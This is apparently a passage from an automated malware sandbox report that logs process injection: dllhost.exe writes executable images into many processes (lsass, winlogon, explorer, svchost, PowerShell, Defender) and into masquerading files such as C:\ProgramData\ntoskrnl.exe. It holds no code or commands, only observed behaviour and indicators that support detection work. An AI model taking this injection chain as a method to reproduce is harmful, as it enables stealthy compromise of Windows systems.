Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2F20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2D40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2DC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 670000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1470000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 15C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 11C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D10000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2970000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 26A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 10E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: A90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2380000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: B90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 11D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 23A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1130000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: B20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D50000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A20000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: FB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 600000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: C80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1460000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: DC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 11A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2C60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1290000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 9F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2230000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 1170000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2880000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: B00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\KrnlSetupSus.exe base: 1B7C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2153E9B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2C14A960000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1BC83280000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28FAE000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28FAE2E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 25C9D520000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 180CBB00000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 180CBB30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2BC5FFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1E9DCC60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\schtasks.exe base: 1E9DCD80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 25FC3320000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19C14ED0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: unknown base: 1E9DD5F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WerFault.exe base: 180F6450000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B9973D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 213A4CC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 20DF5510000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1FA39650000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1FB8E0E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 5D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 900000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 1B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\ProgramData\ntoskrnl.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 25A16DF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 25A16E20000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dllhost.exe

Memory written: PID: 4084 base: 7F80000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread register set: target process: 7680

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140004000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140006000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140007000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: C91140A010	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 2E991720000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 213BDCB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 158709A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 26DB1550000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A3EFFC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C9AFB80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C06F7B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2917C380000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22382770000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 28A1B1D0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1486AD40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24BD3CA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA73D30000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD021B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 269B9FD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22054D80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C57DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A333B40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F174530000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23315740000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A9C8540000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EC212A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1876D540000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22CD8950000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15104330000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22308E70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AB19360000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E731800000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A6DD9B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2FA1C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: D50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 209D2560000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC05190000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AFD1A00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D6B1010000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2036E580000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 150FC6C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2480FAC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2671A930000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C588F90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A8857C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 174DEDC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 282A2110000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DA09D90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 287FBEC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 2537C620000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29B59750000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20CAB570000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BBF95A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D49EEE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 26E2B2E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0CC6E0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 7F80000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23014DD0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21744F70000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F02ED50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1B2E6AF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 25A84C20000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 194A0710000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AD4DDB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1C0F4C90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F3A50F0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 2164ACF0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19985DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26D10B60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 23F7CDE0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2EE94180000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 23954370000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2256CFB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 2C00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E4E5CC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 282093A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C891080000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF983B0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1924DB90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: F00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2C00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 8C0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2A90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2FB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: CB0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: DC0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2D40000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 880000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: F60000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 26A0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D50000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: D00000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2DA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2EA0000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2E90000	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\dKebKZgigOAbgNgFBLNtTWhkdeLPOdjMLwmFWsvxeNtGIBU\ErfkvradUxWFZpEjB.exe base: 2EF0000	Jump to behavior
